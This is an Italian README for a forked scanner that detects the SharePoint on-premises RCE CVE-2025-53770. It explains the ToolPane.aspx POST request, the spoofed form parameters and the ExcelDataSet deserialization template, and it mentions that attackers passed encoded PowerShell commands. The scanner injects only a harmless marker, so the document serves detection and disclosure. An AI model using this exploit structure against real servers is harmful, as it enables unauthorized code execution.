
Scanner per la vulnerabilità zero day RCE CVE-2025-53770 di SharePoint (fork da hazcod/CVE-2025-53770)
Questo è uno scanner per la vulnerabilità di esecuzione remota di codice non autenticata di SharePoint, a cui è stato assegnato il numero CVE CVE-2025-53770. Il codice è stato scritto tramite reverse engineering di un payload osservato nel mondo reale.
Usalo a tuo rischio e pericolo: non sono responsabile di eventuali impatti negativi che potrebbe causare.
Tenta di sfruttare la vulnerabilità iniettando un marker nel widget ToolBox di SharePoint. Se nella risposta del server SharePoint viene trovato questo marker innocuo, l'host viene marcato come vulnerabile.
# check if <TARGET-HOSTNAME> is vulnerable and try extract version information
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# turn on debug logging and try retrieving SharePoint version information
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
Chiunque esegua la versione on-prem di SharePoint Server senza KB5002768 e KB5002754.
La vulnerabilità si basa presumibilmente su una vulnerabilità precedentemente divulgata per SharePoint, CVE-2025-49706.
Inviando una richiesta HTTP POST a https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx con un payload compresso in GZIP e codificato in BASE64, è possibile ottenere l'esecuzione remota di codice come processo runtime di SharePoint.
Due parametri del modulo sono importanti qui:
MSOTlPn_Uri: percorso sorgente del controlloSimula di fare riferimento a un controllo SharePoint legittimo (AclEditor.ascx) e induce SharePoint a consentire la modifica della web part.
Sembra essere un valore fittizio/falso usato solo per superare la validazione.
Il payload dannoso originale include MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx, ma sembra che non venga utilizzato in questo punto.
MSOTlPn_DWP: configurazione parziale della web part.Questo parametro inietta direttive ASP.NET personalizzate (<%@ Register %>) e markup lato server (<Scorecard:ExcelDataSet>).
Il parametro CompressedDataTable contiene dati serializzati controllati dall'attaccante (GZIP + base64), che attivano la RCE.
Questo payload segue una struttura ben precisa:
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
Se esiste un controllo come Scorecard:ExcelDataSet e la sua proprietà CompressedDataTable è impostata, questo viene deserializzato direttamente dal parser DWP di SharePoint.
Il payload stesso può essere piuttosto interessante, poiché può contenere un System.DelegateSerializationHolder che attiva una RCE da deserializzazione.
Gli attaccanti hanno abusato di questo meccanismo per passare /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> nel loro payload e ottenere l'esecuzione di codice.
Nel nostro caso, passiamo semplicemente un segnaposto statico per dimostrare la sfruttabilità;
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>